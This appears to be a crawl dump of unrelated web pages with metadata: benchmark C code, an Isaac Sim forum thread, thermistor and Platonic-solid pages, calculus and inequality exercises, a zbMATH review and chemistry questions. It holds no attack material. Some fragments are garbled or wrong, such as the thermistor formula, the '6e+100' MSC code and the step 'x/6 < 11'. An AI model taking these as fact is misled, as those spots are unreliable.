X2 (mod 2^46). */\n208 T1 = R23 * *X;\n209 j = T1;\n210 X1 = j;\n211 X2 = *X - T23 * X1;\n212 T1 = A1 * X2 + A2 * X1;\n214 j = R23 * T1;\n215 T2 = j;\n216 Z = T1 - T23 * T2;\n217 T3 = T23 * Z + A2 * X2;\n218 j = R46 * T3;\n219 T4 = j;\n220 *X = T3 - T46 * T4;\n221 return(R46 * *X);\n222 }\n224 void c_print_results(const char *name, char class, int n1, int n2, int n3, int niter, int nprocs_compiled,\n225 int nprocs_total, double t, double mops, const char *optype, int passed_verification)\n226 {\n227 printf( \"\\n\\n %s Benchmark Completed\\n\", name );\n228 printf( \" Class = %c\\n\", class );\n230 if( n3 == 0 ) {\n231 long nn = n1;\n232 if ( n2 != 0 ) nn *= n2;\n233 printf( \" Size = %12ld\\n\", nn ); /* as in IS */\n234 } else\n235 printf( \" Size = %3dx %3dx %3d\\n\", n1,n2,n3 );\n237 printf( \" Iterations = %12d\\n\", niter );\n238 printf( \" Time in seconds = %12.2f\\n\", t );\n239 printf( \" Total processes = %12d\\n\", nprocs_total );\n241 if ( nprocs_compiled != 0 )\n242 printf( \" Compiled procs = %12d\\n\", nprocs_compiled );\n244 printf( \" Mop/s total = %12.2f\\n\", mops );\n245 printf( \" Mop/s/process = %12.2f\\n\", mops/((float) nprocs_total) );\n246 printf( \" Operation type = %24s\\n\", optype);\n248 if( passed_verification )\n249 printf( \" Verification = SUCCESSFUL\\n\" );\n250 else\n251 printf( \" Verification = UNSUCCESSFUL\\n\" );\n252 }"
] | [
null,
"http://info.iut-bm.univ-fcomte.fr/pub/gitweb-files/images/logo_and.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.639971,"math_prob":0.9633914,"size":5613,"snap":"2020-10-2020-16","text_gpt3_token_len":1764,"char_repetition_ratio":0.12604742,"word_repetition_ratio":0.027158098,"special_character_ratio":0.43007305,"punctuation_ratio":0.16958041,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.992726,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-26T07:21:20Z\",\"WARC-Record-ID\":\"<urn:uuid:4a35c6d1-fa94-4f53-91db-83f94e242886>\",\"Content-Length\":\"66415\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:6d442ef5-66f5-4460-a1db-ea26bc0a3db0>\",\"WARC-Concurrent-To\":\"<urn:uuid:a2c7a46f-c647-4a1c-a11e-a298e520c1db>\",\"WARC-IP-Address\":\"193.52.61.138\",\"WARC-Target-URI\":\"http://info.iut-bm.univ-fcomte.fr/pub/gitweb/simgrid.git/blob/0992a06d7845b577ac03500bbc555b21e92d6c1a:/examples/smpi/NAS/nas_common.c\",\"WARC-Payload-Digest\":\"sha1:IKU7BLYOT7KUHJTBDJQ6PLC4A3JF2OBW\",\"WARC-Block-Digest\":\"sha1:ZLCNCNGEVO2IAB27BBXT7JUGNYGSAIXO\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875146187.93_warc_CC-MAIN-20200226054316-20200226084316-00481.warc.gz\"}"} |
https://forums.developer.nvidia.com/t/time-step-index-is-2-at-simulation-start/260585 | [
"# Time_step_index is 2 at simulation start\n\nI am writing a custom Task for simulating pick and place with Franka (standalone application). BaseTask has a pre_step function that gets time_step_index argument. The value of this argument is 2 at the first call to pre_step. Why is it not 0?\n\nHi @prath4 - The `pre_step` function in the `BaseTask` class is called before each simulation step. The `time_step_index` argument represents the current simulation step index.\n\nThe reason it starts from 2 instead of 0 is due to the initialization process of the simulation. The first two steps (0 and 1) are used for setting up the simulation and initializing various components. Therefore, the `pre_step` function is first called at the third step of the simulation, which is why `time_step_index` starts from 2.\n\nThanks @rthaker for the quick reply. I would also like to know if that is deterministic and I will always get 2 for time_step_index in the first callback. Or the value is dependent on the simulation setup? What if I add a task in the middle of the simulation? Does task initialization always require a world reset? If I understand correctly the value counts steps from the last world reset.\n\nHi @prath4 - The `time_step_index` argument in the `pre_step` function of a `BaseTask` in Isaac Sim represents the current simulation step index. This index is incremented each time the simulation takes a step.\n\nThe initial value of `time_step_index` being 2 is a result of the simulation initialization process and should be consistent across different simulation setups. However, this is an implementation detail of the simulation engine and could potentially change in future versions of the software.\n\nIf you add a task in the middle of the simulation, the `time_step_index` for that task’s `pre_step` function will start from the current simulation step index, not from 0 or 2. This is because the `time_step_index` is tied to the simulation itself, not to individual tasks.\n\nTask initialization does not always require a world reset. You can add tasks to the simulation at any time, and they will start running from the current simulation step. However, if you want to reset the state of a task or the entire simulation, you can do so by resetting the world.\n\nYou’re correct that the `time_step_index` counts steps from the last world reset. If you reset the world, the `time_step_index` will go back to 0, and the next call to `pre_step` will have a `time_step_index` of 2.\n\n1 Like\n\nThis topic was automatically closed 14 days after the last reply. New replies are no longer allowed."
] | [
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https://dogs-delight.nl/25488_thermistor_temperature.html | [
"thermistor temperature\n\nThermistors/Temperature Measurement with NTC Thermistors\n\nFigure 2: Thermistor temperature-resistance curve -40°C to 60°C The manufacturer's data sheet includes a list of thermistor resistance values and corresponding temperatures over its range. One solution for dealing with this non-linear response is to include a look-up table containing this temperature-resistance data in your code. After calculating the resistance (to be described later) your ...\n\nHow to use NTC Thermistor to measure Temperature? – A blog ...\n\n· Choosing a Thermistor temperature sensor. When you buy a NTC thermistor, there are 3 important information that need to know. 1) Resistance value As stated earlier, the resistance of an NTC thermistor is changing depending on temperature. However, in order to rate a thermistor, the standard temperature that most manufacturers use is the 25 degree Celsius which is equivalent to room temperature ...\n\nUsing a Thermistor | Thermistor | Adafruit Learning System\n\n· A thermistor is a thermal resistor - a resistor that changes its resistance with temperature. Technically, all resistors are thermistors - their resistance changes slightly with temperature - but the change is usually very very small and difficult to measure. Thermistors are made so that the resistance changes drastically with temperature so that it can be 100 ohms or more of change per degree ...\n\nNTC thermistors, application notes - TDK Electronics\n\nThe thermistor as main temperature-sensitive device with its characteristic resistance temperature curve provides a high driving voltage in the cold and a low driving voltage in the hot temperature region, compensating in this way the LCD temperature characteristic. Temperature control in hard disk drives (HDD) An important factor which must be considered in the development of HDDs is ...\n\nOverview | Thermistors | Temperature Sensors |\n\nTemperature Sensing with Thermistors. This white paper discusses the two types of thermistors, negative temperature coefficient (NTC) and silicon based linear positive temperature coefficient (PTC) thermisors and considerations when designing with them. Download (PDF, 702KB) ...\n\nThermistors and NTC Thermistors - Basic Electronics Tutorials\n\nThe Thermistor is a solid state temperature sensing device which acts a bit like an electrical resistor but is temperature sensitive. Thermistors can be used to produce an analogue output voltage with variations in ambient temperature and as such can be referred to as a transducer. This is because it creates a change in its electrical properties due to an external and physical change in heat ...\n\nThermistor-Thermometer | Hanna Instruments Deutschland GmbH\n\nEin Thermistor ist ein Halbleiter, der seinen Widerstand (R) in Abhängigkeit von der Temperatur (T) ändert: R = R 0 • (1 + a(T-T 0)). wobei R 0 der Widerstand ist zum Beginn der Messung, bei einer Anfangstemperatur T 0 und a der Temperatur/Widerstands-Koeffizient ist. a bestimmt, je nach Vorzeichen, ob die Änderung des Widerstands positiv oder negativ ist.\n\nHeißleiter – Wikipedia\n\nEin Heißleiter, NTC-Widerstand oder NTC-Thermistor (englisch Negative Temperature Coefficient Thermistor) ist ein temperaturabhängiger Widerstand, welcher zu der Gruppe der Thermistoren zählt. Er weist als wesentliche Eigenschaft einen negativen Temperaturkoeffizienten auf und leitet bei hohen Temperaturen den elektrischen Strom besser als bei tiefen Temperaturen.\n\nNTC Thermistors, Resistance/Temperature Conversion\n\nVishay Dale NTC Thermistors, Resistance/Temperature Conversion For technical questions, contact: [email protected] Document Number: 33011 12 Revision: 18-Jun-10 CURVE 3 R/T CONVERSION TABLE Rt/R25 TEMP. °C Rt/R25 TEMP. °C Rt/R25 TEMP. °C Rt/R25 TEMP. °C Rt/R25 - 60 0 60 120 - 59 1 61 0 ...\n\nMake an Arduino Temperature Sensor (thermistor tutorial ...\n\nHigh temperatures cause the semiconducting material to release more charge carriers. In NTC thermistors made from ferric oxide, electrons are the charge carriers. In nickel oxide NTC thermistors, the charge carriers are electron holes. Let’s build a basic thermistor circuit to see how it works, so you can apply it to other projects later.\n\nThermistor | Analog Devices\n\nNTC thermistors are commonly used in temperature measurement where small size is important, such as handheld devices and building heating controls. Using Custom Thermistors with the Temp-to-Bits Family. This article focuses on custom thermistors and two ways of configuring the converter. Read Custom Thermistors Article . This Should Work: Thermistor Senses Liquid Levels. In precision ...\n\nNTC Thermistors - Farnell\n\n· Shows necessary electric power that Thermistor's temperature rises 1˚C by self heating. It is calculated by next formula. (mW/˚C) B-Constant Calculated between two specified ambient temperatures by next formula. T and T0 is absolute temperature (K). Rn (R/R0) B = 1/TY1/T0 P C = TYT0 102 101 R e s i s t a n c e V S. T e m p e r a t u r e C h a r a c t e r i s t i c s, R / R 2 5 −20 ...\n\nHow to Obtain the Temperature Value from a Thermistor ...\n\n· Where *T is the temperature in Kelvin (°C = °K - ) (°F = ( × °C) + 32). Polynomials. 3rd and 4th order polynomials are the most accurate and fastest way to calculate the temperature values for TI's thermistor portfolio; you will not need a …\n\nThermistor :: thermistor ::\n\n· Thermistoren mit negativem Temperaturkoeffizient sind Heißleiter, Negative Temperature Coefficient (NTC). Ihr Widerstandswert verringert sich mit steigender Temperatur. Zu der Gruppe der Kaltleiter gehören auch die RTD-Elemente, Resistance Temperature Detector (RTD), dessen bekanntester Vertreter der Pt100 ist.\n\nNTC Thermistors | Thermistors (Temperature Sensors ...\n\nNTC Thermistors. NTC thermistors are elements whose resistance falls with an increase in temperature, and find use in applications such as temperature sensing. Murata NTC thermistors employ elements featuring high precision and good thermal response. The diverse product range not only includes different shapes (SMD chip and lead types), but ...\n\nThermistors in Single Supply Temperature Sensing Circuits\n\nThermistors are manufactured by a large variety of ven-dors. Each vendor carefully specifies their thermistor characteristics with temperature, depending on their manufacturing process. Of all of the temperature sen-sors, the thermistor is the least expensive sensing ele-ment on the market. Prices start at \\$ with some vendors and range up ...\n\nNTC Thermistors as Temperature Sensors | Projects | Altium\n\n· The sensing temperature range of thermistors is an advantage over some of the sensors we’ll look at later. The sensing range covered the full operating range of the sensor, allowing it to be used in a wide variety of applications. As thermistors are so simple, you can use them well beyond these rated ranges too as long as your solder doesn’t turn to a molten state, or thermal contraction ...\n\nWas ist ein Thermistor und wie wird er eingesetzt?\n\n· Ein PTC Thermistor( Kaltleiter) ist ein wärmeempfindlicher Sensor, dessen Widerstand signifikant mit der Temperatur ansteigt. Kaltleiter werden unter anderem zum Überlastschutz und zur Strombegrenzung im Dauerbetrieb eingesetzt. PTC Thermistoren finden oft Anwendung im Motorschutz als Übertemperaturschutz und führen bei starker Erwärmung zu einer Leistungsreduktion bzw. …\n\nProfessional gas sensing solution supplier with over 30-year gas sensor manufacturing experience"
] | [
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https://www.kjmaclean.com/Geometry/NestedPlatonics.html | [
"The nested Platonic Solids can be elegantly represented in the Rhombic Triacontahedron, as shown in Rhombic Triacontahedron.",
null,
"Figure 1 -- the Rhombic Triacontahedron in red with its Phi Ratio rhombi, the Icosahedron in green with its equilateral triangle faces, and the Dodecahedron in white with its pentagonal faces. The Rhombic Triacontahedron is itself a combination of the Icosahedron and the Dodecahedron, and it demonstrates the proper relationship between the 5 nested Platonic Solids.",
null,
"Figure 2 --\nThe cube fits quite nicely within the dodecahedron, as shown above. The cube has 8 vertices and 5 different cubes will fit within the dodecahedron. Each cube has 12 edges, and each edge will be a diagonal of one of the 12 pentagonal faces of the dodecahedron. Since there are only 5 diagonals to a pentagon, there can only be 5 different cubes, each of which will be angled 36 degrees from each other.\n(Why is this? Because the diagonals of the pentagon are angled 36 degrees from each other)",
null,
"Figure 3 --\nAngle BDA is 36 degrees. Triangle BDA is a 36-72-72 golden triangle",
null,
"Figure 4 --\nThe tetrahedron and the octahedron fit nicely within the cube, as shown above\n\nSo the Platonic Solid nesting order as given by the Rhombic Triacontahedron goes as follows: Icosahedron, Dodecahedron, Cube, Tetrahedron, Octahedron. Here's how the whole thing looks, all enclosed within a sphere:",
null,
"Figure 5 --\nThe 5 nested Platonic Solids inside a sphere. The Icosahedron in cream, the rhombic triacontahedron in red, the dodecahedron in white, the cube in blue, 2 interlocking tetrahedra in cyan, and the octahedron in magenta. Only the 12 vertices of the icosahedron touch the sphere boundary.",
null,
"Figure 5A -- Figure 5 as an animated GIF. This is 2.7 Meg file, but I've included it for those of you with fast download speeds. It's much easier to distinguish the 5 polyhedra as an animation.\n\nSurprisingly, even though there are 5 Platonic solids, there are only 3 different spheres which contain them. That is because the 4 vertices of each tetrahedron are 4 of the 8 cube vertices, and the 8 vertices of the cube are 8 of the 12 vertices of the dodecahedron.\n\nFigure 4 shows that the octahedron is formed from the intersecting lines of the 2 interlocking tetrahedrons. The edges of the tetrahedrons are just the diagonals of the cube faces, and the intersection of the two tetrahedron edges meet precisely at the midpoint of the cube face (the centroid). If you look at Figure 3 you'll see how the green and purple lines intersect precisely in the middle of the cube face, making an \"X.\"\n\nIf we let the radius of the sphere which encloses the octahedron = 1, then what is the radius of the other two spheres?\nSince the octahedron is formed from the midpoints of all of the cube faces, the sphere which encloses it fits precisely within the cube, like so:",
null,
"Figure 6 --\nThe radius of the circle which encloses the octahedron we will arbitrarily set = 1.\n\nOne sphere encloses both the cube and the dodecahedron:",
null,
"Figure 7 --\nThe sphere which encloses both dodecahedron and cube.\nThe radius of this sphere is \\/¯ 3 times the sphere which encloses the octahedron.\nThe two spheres are the in-sphere of the cube and the circumsphere of the cube.\nThe outer sphere which encloses the icosahedron is slightly larger; \\/¯(ز + 1) / \\/¯3 larger, in fact!\n\nSo the radii of the three enclosing spheres is: 1, \\/¯3, \\/¯(ز + 1).\n\nSpecial characters:\n\\/¯ ° ¹ ² ³ × ½ ¼ Ø \\/¯(ز + 1)"
] | [
null,
"https://www.kjmaclean.com/images/NestedRTDodecIcosa.jpg",
null,
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"https://kjmaclean.com/images/diagonalpentangle.jpg",
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"https://www.kjmaclean.com/images/CubeTetraOcta.jpg",
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"https://www.kjmaclean.com/images/NestedPlatonics.jpg",
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"https://www.kjmaclean.com/images/Nested.gif",
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"https://www.kjmaclean.com/images/TetraInCubeSphere.jpg",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.88237095,"math_prob":0.96330416,"size":3443,"snap":"2020-45-2020-50","text_gpt3_token_len":987,"char_repetition_ratio":0.1811573,"word_repetition_ratio":0.016722407,"special_character_ratio":0.23177461,"punctuation_ratio":0.10229008,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.998164,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16],"im_url_duplicate_count":[null,5,null,5,null,6,null,5,null,5,null,5,null,5,null,5,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-24T03:38:08Z\",\"WARC-Record-ID\":\"<urn:uuid:fff1b410-b061-4b1b-94a1-93ca84f4abd5>\",\"Content-Length\":\"5624\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b5f61c64-f3e7-46da-ba43-90ce0e05bb22>\",\"WARC-Concurrent-To\":\"<urn:uuid:1cee5798-02a1-4c7d-8cc7-045a9c20749e>\",\"WARC-IP-Address\":\"107.180.24.240\",\"WARC-Target-URI\":\"https://www.kjmaclean.com/Geometry/NestedPlatonics.html\",\"WARC-Payload-Digest\":\"sha1:Q2USPUHTFC4P65RYVSNWB7SVRHAGDYN5\",\"WARC-Block-Digest\":\"sha1:OWAEK7UMQZDF7RCBVUILDSKZDCPKD4MH\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141171077.4_warc_CC-MAIN-20201124025131-20201124055131-00373.warc.gz\"}"} |
https://www.a-maths-tuition.com/2010/05/applications-of-differentiation-part-vi.html | [
"### Applications of differentiation Part VI\n\nDisplacement, Velocity and Acceleration\n\nConsider the motion of a particle which moves in a way such that its displacement s from a fixed point O at time t seconds is given by\n\n$s = -t^2 + 5t + 6$\n\nThe instantaneous velocity is given by the differentiation of displacement\n\n$v = \\frac{ds}{dt} = -2t + 5$\n\nThe instantaneous acceleration is given by the differentiation of velocity\n\n$a = \\frac{dv}{dt} = -2$\n\nTo obtain velocity function from accleration, we integrate the acceleration function\n\nTo obtain the displacement function from velocity, we integrate the velocity function\n\nExample 1\n\nThe acceleration of a particle is given by the function $a = 10 + 15t^2$ where t is the time in seconds after leaving start point O. Find the velocity of the particle at t = 1 given that the initial velocity of the particle is 0m/s.\n\nTo obtain velocity function from accleration, we integrate the acceleration function\n\n\\begin{aligned} v &= \\int a \\:dt \\\\ &= \\int 10 + 15t^2 \\: dt \\\\ &= 10 t + \\frac{15t^3}{3} + c\\\\ &= 10 t + 5t^3 + c \\\\ \\text{When t=0, v=0, therefore c = 0} \\\\ v&= 10 t + 5t^3 \\\\ \\text{Substitute t =1 } v&=10+5 \\\\ &=15 \\\\ \\end{aligned}\n\nWhat's Next ?\n\nCheck out the Basic Techniques of Differentiation\nCheck out the Contents Page"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7592944,"math_prob":0.9997255,"size":2497,"snap":"2020-34-2020-40","text_gpt3_token_len":713,"char_repetition_ratio":0.15202567,"word_repetition_ratio":0.96328294,"special_character_ratio":0.31197438,"punctuation_ratio":0.046875,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99993217,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-09-27T04:28:48Z\",\"WARC-Record-ID\":\"<urn:uuid:f6d475d4-d8d2-492b-a3b3-8d044d8a2956>\",\"Content-Length\":\"94884\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:a23b3b38-ef6e-460f-a7bc-9d5aa5482c7c>\",\"WARC-Concurrent-To\":\"<urn:uuid:eb9ec959-b7d6-4fd9-b9af-5ba5589cb2d4>\",\"WARC-IP-Address\":\"172.217.12.243\",\"WARC-Target-URI\":\"https://www.a-maths-tuition.com/2010/05/applications-of-differentiation-part-vi.html\",\"WARC-Payload-Digest\":\"sha1:YAMT75JEIZTCC3ILQ22ZZDUZ7RQEBPRV\",\"WARC-Block-Digest\":\"sha1:DD3TWKXQ4M3OCC6G7G5K3P5YR2ZOKI4F\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-40/CC-MAIN-2020-40_segments_1600400250241.72_warc_CC-MAIN-20200927023329-20200927053329-00557.warc.gz\"}"} |
https://zbmath.org/?q=an%3A0872.60013 | [
"zbMATH — the first resource for mathematics\n\nAnalysis of the limiting spectral distribution of large dimensional random matrices. (English) Zbl 0872.60013\nSummary: Results on the analytic behavior of the limiting spectral distribution of matrices of sample covariance type, studied by V. A. Marchenko and L. A. Pastur [Math. USSR, Sb. 1, 457-483 (1967); translation from Mat. Sb., n. Ser. 72(114), 507-536 (1967; Zbl 0152.16101)] and Y. Q. Yin [J. Multivariate Anal. 20, 50-68 (1986; Zbl 0614.62060)], are derived. Through an equation defining its Stieltjes transform, it is shown that the limiting distribution has a continuous derivative away from zero, the derivative being analytic wherever it is positive, and resembles $$\\sqrt {|x-x_0 |}$$ for most cases of $$x_0$$ in the boundary of its support. A complete analysis of a way to determine its support, originally outlined by Marchenko and Pastur (loc. cit.), is also presented.\n\nMSC:\n 6e+100 Distribution theory\nFull Text:"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.787133,"math_prob":0.95158637,"size":1354,"snap":"2022-05-2022-21","text_gpt3_token_len":398,"char_repetition_ratio":0.10518519,"word_repetition_ratio":0.040816326,"special_character_ratio":0.3353028,"punctuation_ratio":0.24742268,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97972924,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-01-21T05:12:30Z\",\"WARC-Record-ID\":\"<urn:uuid:b207f683-4d71-4d9b-bc3f-8ad52fef88d9>\",\"Content-Length\":\"47392\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:309911ff-90c6-478f-9434-a4587f09124b>\",\"WARC-Concurrent-To\":\"<urn:uuid:2af4b6c9-dc6e-494b-9a24-551cfb5e0f95>\",\"WARC-IP-Address\":\"141.66.194.2\",\"WARC-Target-URI\":\"https://zbmath.org/?q=an%3A0872.60013\",\"WARC-Payload-Digest\":\"sha1:W7IOFMG3LWAVY25RB4OSSYFXBOP7Q6MO\",\"WARC-Block-Digest\":\"sha1:ASX4DR5OBMMCWUOEIVM45ELVPINQPP45\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-05/CC-MAIN-2022-05_segments_1642320302723.60_warc_CC-MAIN-20220121040956-20220121070956-00177.warc.gz\"}"} |
https://www.jiskha.com/questions/573707/nonane-has-a-density-of-0-79-g-mL-and-boils-at-151-celsius-will-it-float-or-sink | [
"# chemistry\n\nnonane has a density of 0.79 g/mL and boils at 151 celsius. will it float or sink in water (density of 1.00 g/mL)\n\n1. 👍 0\n2. 👎 0\n3. 👁 85\n\n## Similar Questions\n\n1. ### Chemistry\n\nNonane has a density of 0.79 g/mL. and boils at 151 Celcius. a. What is the condensed structural formula of nonane b. Is it a solid, liquid, or gas at room temperature c. Is it soluable in water d. Will it float on water or sink\n\nasked by Elisabeth on July 20, 2010\n2. ### Chemistry\n\nPlease help!! If the density of fresh water at 4 degrees Celsius is 1.00g/mL, determine if the following objects will sink or float in water. 1.) A 200 feet (61m) tall pine tree that weighs 11,200 pounds (5,080 kg) and has a\n\nasked by Tasha on February 12, 2015\n3. ### Physics\n\nThe mass of the float is 50.0 kh and it has a volume of 1.0 m^3.det ermine the density of the float and the tension on the rope. You may assume g=10N/kg. So I know that mfloat = 50.0kg weight of float = 50.0 x 10 = 500N Vfloat =\n\nasked by Herbert on October 5, 2013\n4. ### science\n\n1) what is the mass of 10 cc of water? 2) why does a block of wood float on water? 3)how and why can density by used to identify an unknown substance? 4) describe the relationship between density, water, an d things that float\n\nasked by matt on June 17, 2009\n5. ### Chemistry\n\n20.7mL of ethanol (density=0.789g/mL) initially at 8.2 degrees Celsius is mixed with 37.1 mL of water (density=1.0g/mL) initially at 25.7 degrees Celsius in an insulated beaker. Assuming that no heat is lost, what is the final\n\nasked by Katie on February 7, 2012\n6. ### college\n\nFind a way to convert Celsius to Fahrenheit on this temperture scale. water freezes at 32F 0Celsius. Boils at 212F and 100 Celsius\n\nasked by april on November 15, 2009\n7. ### Science\n\nWhich objects will sink or float if the density of pure water is1/gm or 1gm/cm3. The following of the following objects will sink or float if the mass, volume, and density of the objects are: Small sized block : mass=4.5 grams,\n\nasked by CD on September 18, 2018\n8. ### Chemistry\n\nA hot air balloon is filled with hot air and the hot air forces the volume of the balloon to expand until the density of the gas in the balloon is less than the density of the outside air. The volume must be 20% larger than the\n\nasked by KS on April 25, 2016\n9. ### gr9 science\n\na bar of steel has a mass of 277 g and a volume of 35.5 cm3. What is the density of the bar?Will it float in water?Will it float in mercury? could u please help me with this question?:)\n\nasked by beccaa on September 23, 2009\n10. ### physics (easy)\n\nWill a 7.25 kg ball with a diamter of 22 cm float in water? I know that the radius is 11 cm and that the density of water is 1000kg/m^3 and I got that it will float but it just doesn't sound right. Could anyone help please?\n\nasked by Alona on December 6, 2010\n\nMore Similar Questions"
] | [
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https://breathmath.com/2016/11/24/linear-inequalities-class-xi-exercise-6-1-1-10/ | [
"# Linear Inequalities – Class XI – Exercise 6.1 [1 – 10]\n\n1. Solve 24x < 100, when\n\n(i) x is a natural number\n\n(ii) x is an integer\n\nSolution:\n\nWe have the given inequality 24x < 100.\n\nthen, 24x/24 < 100/24\n\nThus, x < 25/6\n\n(i) We know that 1, 2, 3, and 4 are the only natural numbers less than 25/6.\n\nThus, when x is a natural number, the solutions of the given inequality are 1, 2, 3, and 4.\n\nHence, in this case, the solution set is {1, 2, 3, 4}.\n\n(ii) The integers less than 25/6 are …–3, –2, –1, 0, 1, 2, 3, 4.\n\nThus, when x is an integer, the solutions of the given inequality are …–3, –2, –1, 0, 1, 2, 3, 4.\n\nHence, in this case, the solution set is {…–3, –2, –1, 0, 1, 2, 3, 4}.\n\n2: Solve –12x > 30, when\n\n(i) x is a natural number\n\n(ii) x is an integer\n\nSolution:\n\nThe given inequality –12x > 30.\n\nThen -12x > 30\n\n-12x/-12 < 30/-12\n\n⇒ x < –5/2\n\n(i) There is no natural number less than –5/2\n\nThus, when x is a natural number, there is no solution of the given inequality.\n\n(ii) The integers less than –5/2 are …, –5, –4, –3.\n\nThus, when x is an integer, the solutions of the given inequality are …, –5, –4, –3.\n\nHence, in this case, the solution set is {…, –5, –4, –3}.\n\n3: Solve 5x– 3 < 7, when\n\n(i) x is an integer\n\n(ii) x is a real number\n\nSolution:\n\nThe given inequality is 5x – 3 < 7\n\n⇒ 2x – 3 < 7\n\n⇒ 5x – 3 + 3 < 7 + 3\n\n⇒ 5x < 10\n\n⇒ x < 2\n\n(i)We know the integers less than 2 are …, –4, –3, –2, –1, 0, 1.\n\nThus, when x is an integer, the solutions of the given inequality are …, –4, –3, –2, –1, 0, 1.\n\nHence, in this case, the solution set is {…, –4, –3, –2, –1, 0, 1}.\n\n(ii) When x is a real number, the solutions of the inequality 5x – 3 <7 are given by x < 2 i.e., all real numbers x which are less than 2.\n\nThus, the solution set of the given inequality is x € (–∞, 2).\n\n4: Solve 3x + 8 > 2, when\n\n(i) x is an integer\n\n(ii) x is a real number\n\nSolution:\n\nThe given inequality is 3x + 8 > 2\n\n⇒ 3x + 8 > 2\n\n⇒ 3x + 8 – 8 > 2 – 8\n\n⇒ 3x > -6\n\n3x/3 > -6/3\n\n⇒ x > -2\n\n(i)The integers greater than –2 are –1, 0, 1, 2, …\n\nThus, when x is an integer, the solutions of the given inequality are –1, 0, 1, 2 …\n\nHence, in this case, the solution set is {–1, 0, 1, 2, …}\n\n(ii) When x is a real number, the solutions of the given inequality are all the real numbers, which are greater than –2.\n\nThus, in this case, the solution set is (– 2, ∞).\n\n5: Solve the given inequality for real x: 4x + 3 < 5x + 7\n\nSolution:\n\n4x + 3 < 5x + 7\n\n⇒ 4x + 3 – 7 < 5x + 7 – 7\n\n⇒ 4x – 4 < 5x\n\n⇒ 4x – 4 – 4x < 5x – 4x\n\n⇒ –4 < x\n\nThus, all real numbers x, which are greater than –4, are the solutions of the given inequality.\n\nHence, the solution set of the given inequality is (–4, ∞).\n\n6: Solve the given inequality for real x: 3x – 7 > 5x – 1\n\nSolution:\n\n3x – 7 > 5x – 1\n\n⇒ 3x – 7 + 7 > 5x – 1 + 7\n\n⇒ 3x > 5x + 6\n\n⇒ 3x – 5x > 5x + 6 – 5x\n\n⇒ – 2x > 6\n\n-2x/-2 < 6/-2\n\n⇒ x < -3\n\nThus, all real numbers x, which are less than –3, are the solutions of the given inequality.\n\nHence, the solution set of the given inequality is (–∞, –3).\n\n7: Solve the given inequality for real x: 3(x – 1) ≤ 2 (x – 3)\n\nSolution:\n\nWe have the given inequality 3(x – 1) ≤ 2(x – 3)\n\n⇒ 3x – 3 ≤ 2x – 6\n\n⇒ 3x – 3 + 3 ≤ 2x – 6 + 3\n\n⇒ 3x ≤ 2x – 3\n\n⇒ 3x – 2x ≤ 2x – 3 – 2x\n\n⇒ x ≤ – 3\n\nThus, all real numbers x, which are less than or equal to –3, are the solutions of the given inequality.\n\nHence, the solution set of the given inequality is (–∞, –3].\n\n8: Solve the given inequality for real x: 3(2 – x) ≥ 2(1 – x)\n\nSolution:\n\nWe have the given inequality 3(2 – x) ≥ 2(1 – x)\n\n⇒ 6 – 3x ≥ 2 – 2x\n\n⇒ 6 – 3x + 2x ≥ 2 – 2x + 2x\n\n⇒ 6 – x ≥ 2\n\n⇒ 6 – x – 6 ≥ 2 – 6\n\n⇒ –x ≥ –4\n\n⇒ x ≤ 4\n\nThus, all real numbers x, which are less than or equal to 4, are the solutions of the given inequality.\n\nHence, the solution set of the given inequality is (–∞, 4].\n\n1. Solve the given inequality for real x: x + x/2 + x/3 < 11\n\nSolution:\n\nThe given inequality is x + x/2 + x/3 < 11\n\nx + x/2 + x/3 < 11\n\n⇒ x(1 + 1/2 + 1/3) < 11\n\n⇒ x(6+3+2/6) < 11\n\n11x/6 < 11\n\nx/6 < 11\n\n⇒ x < 6\n\nThus, all real numbers x, which are less than 6, are the solutions of the given inequality.\n\nHence, the solution set of the given inequality is (–∞, 6).\n\n1. Solve the given inequality for real x: x/3 > x/2 + 1\n\nSolution:\n\nWe have the given inequality x/3 > x/2 + 1\n\nx/3 > x/2 + 1\n\nx/3x/2 > 1\n\n(2x – 3x)/6 > 1\n\n⇒ –x/6 > 1\n\n⇒ -x > 6\n\n⇒ x < -6\n\nThus, all real numbers x, which are less than –6, are the solutions of the given inequality.\n\nHence, the solution set of the given inequality is (–∞, –6)."
] | [
